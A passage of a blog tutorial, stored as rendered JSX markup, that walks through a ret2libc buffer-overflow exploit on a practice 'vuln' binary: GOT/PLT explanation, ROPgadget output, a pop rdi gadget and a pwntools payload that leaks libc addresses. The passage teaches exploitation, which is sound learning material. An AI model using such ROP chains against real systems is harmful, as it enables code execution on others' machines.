`,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"136"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"junk "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'A'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"*"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" offset"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"payload "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ["})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" junk,"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"]"})}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"p."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"interactive"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"()"})]})]})})}),` `,(0,l.jsxs)(e.h3,{id:"calculating-libc",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#calculating-libc",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Calculating libc"]}),` `,(0,l.jsxs)(e.p,{children:["Now that we know the offset and we can shove some address into memory when we run our script, the ",(0,l.jsx)(e.code,{children:"vuln"})," binary, we need to find a way to execute the ",(0,l.jsx)(e.code,{children:"system()"})," command. There are a few ways we can take this trip. One way is to find where one of the commands that's getting executed is run, find it's address in relation to the program, add an approximation of the address, etc. etc."]}),` `,(0,l.jsxs)(e.p,{children:["A different way, which is a bit more novel and a lot more resiliant is to find where the entire ",(0,l.jsx)(e.code,{children:"libc"})," library is loaded in memory and add the offset of the system command loaded into memory. But how do we find the memory address of ",(0,l.jsx)(e.code,{children:"libc"}),"? Well... let's peek into the memory when the binary loads. Let's head back to our ",(0,l.jsx)(e.code,{children:"gdb"})," and confirm that ",(0,l.jsx)(e.code,{children:"system()"})," itself is loaded:"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591655/ari-io/writing/heres-a-libc/system-loaded_bcnizk.png",alt:"system loaded"})}),` `,(0,l.jsxs)(e.p,{children:["Great, so now we're going to want to find the address of ",(0,l.jsx)(e.code,{children:"libc"})," along with the beginning of the ",(0,l.jsx)(e.code,{children:"libc"})," library. To do this, let's examine the loaded memory using the ",(0,l.jsx)(e.code,{children:"gdb"})," command ",(0,l.jsx)(e.code,{children:"vm"}),":"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591659/ari-io/writing/heres-a-libc/vm-examine_qfdyfg.png",alt:"vm examination"})}),` `,(0,l.jsxs)(e.p,{children:["We can see where our program is loaded (",(0,l.jsx)(e.code,{children:"0x0000000000400000"}),") and where the ",(0,l.jsx)(e.code,{children:"libc"})," library is loaded (",(0,l.jsx)(e.code,{children:"0x00007f8051474000"}),"), but what can we do with these addresses?"]}),` `,(0,l.jsxs)(e.p,{children:["Well, one thing we need to take into account is that the loaded addresses might be random based on the functionality of ASLR, which is why we're going to need to calculate the address of the ",(0,l.jsx)(e.code,{children:"system()"})," command."]}),` `,(0,l.jsxs)(e.h3,{id:"welcome-rop-return-oriented-programming",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#welcome-rop-return-oriented-programming",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Welcome ROP (return oriented programming)"]}),` `,(0,l.jsxs)(e.p,{children:["Now we need to take a quick divergence and talk about the technique we're going to use. One particular method of annoying us or preventing buffer overflows is using Address Space Layout Randomization (ASLR). We have the ability to circumvent ASLR by chaining together our payload with the addresses we want to be loaded into memory to allow us to ",(0,l.jsx)(e.em,{children:"arbitrarily"})," execute some code (in our case, call the ",(0,l.jsx)(e.code,{children:"system()"})," function)."]}),` `,(0,l.jsxs)(e.p,{children:["What we're looking to do is chain together some exploit payload to return addresses we'll want to execute on. We can access ",(0,l.jsx)(e.code,{children:"system()"})," because programs that use ",(0,l.jsx)(e.code,{children:"libc"}),", like ours load the ",(0,l.jsx)(e.em,{children:"entire library"})," of functions into address space at runtime. Even if the program ",(0,l.jsx)(e.em,{children:"never calls"})," ",(0,l.jsx)(e.code,{children:"system()"}),", it is loaded in memory. We'll be able to find these functions loaded in memory in the global offset table (",(0,l.jsx)(e.code,{children:"got"}),") and the procedure linkage table (",(0,l.jsx)(e.code,{children:"plt"}),"). The ",(0,l.jsx)(e.code,{children:"plt"})," is simply a table which provides addresses for external procedures and functions where the address is unknown when the linking occurs. These two tables are basically methods of resolving addresses for functions during runtime."]}),` `,(0,l.jsxs)(e.p,{children:["As the function addresses are ",(0,l.jsx)(e.em,{children:"not"})," known at runtime, the program creates a ",(0,l.jsx)(e.em,{children:"stub"})," function that calls out to the library which then turns to the library function, finds it's address, and then executes it. A tad complex sounding, but let's try to demystify the function visually."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591647/ari-io/writing/heres-a-libc/got-plt_o0iftd.png",alt:"got plt"})}),` `,(0,l.jsxs)(e.p,{children:["The GOT points to a ",(0,l.jsx)(e.em,{children:"thunk"})," function, which isn't really a function at all, but at runtime, the runtime uses the PLT to find the function, which points to the actual ",(0,l.jsx)(e.code,{children:"libc"})," library function."]}),` `,(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.strong,{children:"Why did we end up here in the first place?"})," We're going to use a ROP gadget, a short sequence of code that ends with a ",(0,l.jsx)(e.code,{children:"ret"})," statement. The PLT gives us the address to the actual library function. Looking at the table from above, we can grab the library address and depend upon it being within the PLT. This is where the ",(0,l.jsx)(e.code,{children:".got.plt"})," comes into play. All of the functions pointing to the ",(0,l.jsx)(e.code,{children:"libc"})," functions are contained in the ",(0,l.jsx)(e.code,{children:"got"})," table, but they are found through the ",(0,l.jsx)(e.code,{children:"plt"})," table."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591650/ari-io/writing/heres-a-libc/got-plt-functions_ppd0en.png",alt:"got plt functions"})}),` `,(0,l.jsxs)(e.p,{children:["The ",(0,l.jsx)(e.code,{children:"plt"})," points to functions that point to ",(0,l.jsx)(e.code,{children:"got"})," libc library functions."]}),` `,(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.strong,{children:"If this is still confusing, comment below"}),"."]}),` `,(0,l.jsxs)(e.p,{children:["Now that we're semi-familiar with ROP, let's roll up our sleeves and put it into work. How do we find such gadgets? I'm glad you asked! We can use a utility function called ",(0,l.jsx)(e.code,{children:"ROPGadget"}),"."]}),` `,(0,l.jsxs)(e.p,{children:["Let's find a gadget that returns with a ",(0,l.jsx)(e.code,{children:"ret"})," statement using ",(0,l.jsx)(e.code,{children:"ROPgadget"}),":"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"$"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ROPgadget"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"--binary"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"./vuln"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"Gadgets"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"information"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"============================================================"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004005ee"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"adc"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"byte"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ptr"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rax], ah ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"jmp"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"rax"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004005b9"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ah,"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"dh"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"nop"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"dword"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ptr"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rax "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"rax]"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ret"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x0000000000400587"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"al,"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"byte"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ptr"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rax], al ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"jmp"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x400530"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004006d1"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"al,"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0xf"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"mov"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"dh,"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x45"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"cld"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"pop"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"rbp"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ret"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x0000000000400567"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"al,"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"byte"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ptr"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rax] ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"byte"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ptr"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rax], al ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"jmp"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x400530"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004005bf"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"bl,"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"dh"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ret"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x000000000040091d"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"byte"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ptr"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rax], al ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"bl,"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"dh"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ret"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x000000000040091b"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"byte"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ptr"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rax], al ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"byte"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ptr"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rax], al ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"add"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"bl,"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"dh"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ret"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"Unique"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"gadgets"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"found:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"131"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["In our particular binary, we have found 131 gadgets. We're going to need to find a ROPgadget that enables us to call a function with arguments. In order to execute a function with arguments, we'll need to push a value to the ",(0,l.jsx)(e.code,{children:"$rdi"})," register (this is a calling convention used in x86 assembly code). First, let's check to find a ROP gadget that gives us a ",(0,l.jsx)(e.code,{children:"ret"}),". Looking through the list, we can find the gadget:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x0000000000400913"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"pop"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"rdi"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" ; "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"ret"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["Let's start simply and print out the address of the ",(0,l.jsx)(e.code,{children:"puts"})," function within the ",(0,l.jsx)(e.code,{children:"libc"})," library."]}),` `,(0,l.jsxs)(e.p,{children:["We're looking at a gadget that enables us to modify the ",(0,l.jsx)(e.code,{children:"$rdi"})," register. Let's save this address. What this pop instruction does is take everything off the stack and shoves it into the ",(0,l.jsx)(e.code,{children:"$rdi"})," register. Let's save this in our python script:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"pop_rdi "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"400913"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# 0x0000000000400913"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["What we want to do is find a function that enables us to grab the address, such as ",(0,l.jsx)(e.code,{children:"setbuf"})," or ",(0,l.jsx)(e.code,{children:"scanf"})," in the ",(0,l.jsx)(e.code,{children:"got"})," table, the table that lists the addresses of ",(0,l.jsx)(e.code,{children:"libc"})," functions. Heading back to ",(0,l.jsx)(e.code,{children:"Ghidra"}),", let's find the ",(0,l.jsx)(e.code,{children:"setbuf"})," within the ",(0,l.jsx)(e.code,{children:"got"})," table:"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591654/ari-io/writing/heres-a-libc/setbuf-addr_lnpcau.png",alt:"setbuf addr"})}),` `,(0,l.jsxs)(e.p,{children:["Let's save the ",(0,l.jsx)(e.code,{children:"setbuf"})," address from the ",(0,l.jsx)(e.code,{children:"got.plt"})," table in our script:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"setbuf_in_got_plt "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00601028"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["Now let's grab the address of the puts function in libc (it's at the beginning of the ",(0,l.jsx)(e.code,{children:"libc"})," library, which we can find in Ghidra)."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591652/ari-io/writing/heres-a-libc/puts-in-plt_w8retr.png",alt:"puts addr"})}),` `,(0,l.jsxs)(e.p,{children:["Let's save the ",(0,l.jsx)(e.code,{children:"puts"})," address in our script too so that we can call it a bit later."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"puts_in_plt "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00400540"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["To show that we're actually finding the location of the beginning of ",(0,l.jsx)(e.code,{children:"libc"})," in virtual memory, let's call back to our main function and print out the address we've found in ROP."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591654/ari-io/writing/heres-a-libc/main-addr_ig2k0y.png",alt:"main addr"})}),` `,(0,l.jsx)(e.p,{children:"Let's save this address in our python script:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"back_to_main "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"400771"})]})})})}),` `,(0,l.jsx)(e.p,{children:"Now with all of our addresses, our payload now looks like this:"}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"136"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"junk "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'A'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"*"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" offset"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"pop_rdi "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0000000000400913"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"setbuf_in_got_plt "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"00601028"})]}),` 